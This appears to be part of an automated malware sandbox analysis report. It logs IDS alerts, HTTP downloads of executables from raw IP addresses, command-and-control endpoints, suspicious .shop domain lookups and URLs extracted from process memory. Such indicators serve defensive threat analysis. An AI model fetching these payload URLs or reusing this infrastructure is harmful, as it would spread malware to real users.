Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50018 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50024 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50047 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50049 -> 172.67.161.160:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50061 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50054 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49986 -> 162.0.209.157:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: global traffic	HTTP traffic detected: GET /oldVNC.exe HTTP/1.1Host: yachtingiturkey.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /no111p HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0Host: marka4.cyouConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /files/7343830477/oavvDqT.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/7967666176/13Z5sqy.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/5666444957/usPaQ3D.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/5222311384/WZMQlGj.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/7202997285/HNsLLEj.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/668741820/bKIFsVe.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /test/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/am_no.bat HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /lumma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/GoodTimes306/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /inc/legs.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test/am209.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive

Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=1b02862cc65b1ac9a116f5a0; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35141Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSun, 12 Jan 2025 16:39:59 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: yachtingiturkey.com
Source: global traffic	DNS traffic detected: DNS query: soundtappysk.shop
Source: global traffic	DNS traffic detected: DNS query: femalsabler.shop
Source: global traffic	DNS traffic detected: DNS query: apporholis.shop
Source: global traffic	DNS traffic detected: DNS query: crowdwarek.shop
Source: global traffic	DNS traffic detected: DNS query: versersleep.shop
Source: global traffic	DNS traffic detected: DNS query: chipdonkeruz.shop
Source: global traffic	DNS traffic detected: DNS query: handscreamny.shop
Source: global traffic	DNS traffic detected: DNS query: robinsharez.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: misha-lomonosov.com
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: marka4.cyou
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: plodnittpw.lat
Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: nearycrepso.shop
Source: global traffic	DNS traffic detected: DNS query: abruptyopsn.shop
Source: global traffic	DNS traffic detected: DNS query: wholersorie.shop
Source: global traffic	DNS traffic detected: DNS query: framekgirus.shop
Source: global traffic	DNS traffic detected: DNS query: tirepublicerj.shop
Source: global traffic	DNS traffic detected: DNS query: noisycuttej.shop
Source: global traffic	DNS traffic detected: DNS query: rabidcowse.shop
Source: global traffic	DNS traffic detected: DNS query: cloudewahsj.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: misha-lomonosov.com

Source: oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://.css
Source: oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://.jpg
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lumma/random.exe
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lumma/random.exeR
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exeY
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/am_no.bat
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/random.exe
Source: skotes.exe, 00000005.00000002.2631568166.000000000067F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000005.00000002.2631568166.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php?1=
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 00000005.00000002.2657440714.0000000005AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.phpk
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/5222311384/WZMQlGj.exe
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/5222311384/WZMQlGj.exeq
Source: skotes.exe, 00000005.00000002.2631568166.000000000067F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/5666444957/usPaQ3D.exe
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/668741820/bKIFsVe.exe
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7202997285/HNsLLEj.exe
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7202997285/HNsLLEj.exey.
Source: skotes.exe, 00000005.00000002.2631568166.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7343830477/oavvDqT.exe
Source: skotes.exe, 00000005.00000002.2631568166.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7343830477/oavvDqT.exeh7b
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7967666176/13Z5sqy.exe
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7967666176/13Z5sqy.exe;
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exe
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exe)/
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exe0
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exe1.
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exe3
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exe?/
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exeC/
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exeData
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exeU.
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/GoodTimes306/random.exeYZ0123456789
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: svchost.exe, 00000033.00000002.2650790528.0000023ED2000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: usPaQ3D.exe, 0000000B.00000002.2632764223.0000000001535000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: usPaQ3D.exe, 0000000B.00000002.2632764223.0000000001535000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabz
Source: svchost.exe, 00000033.00000003.2550739508.0000023ED1DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
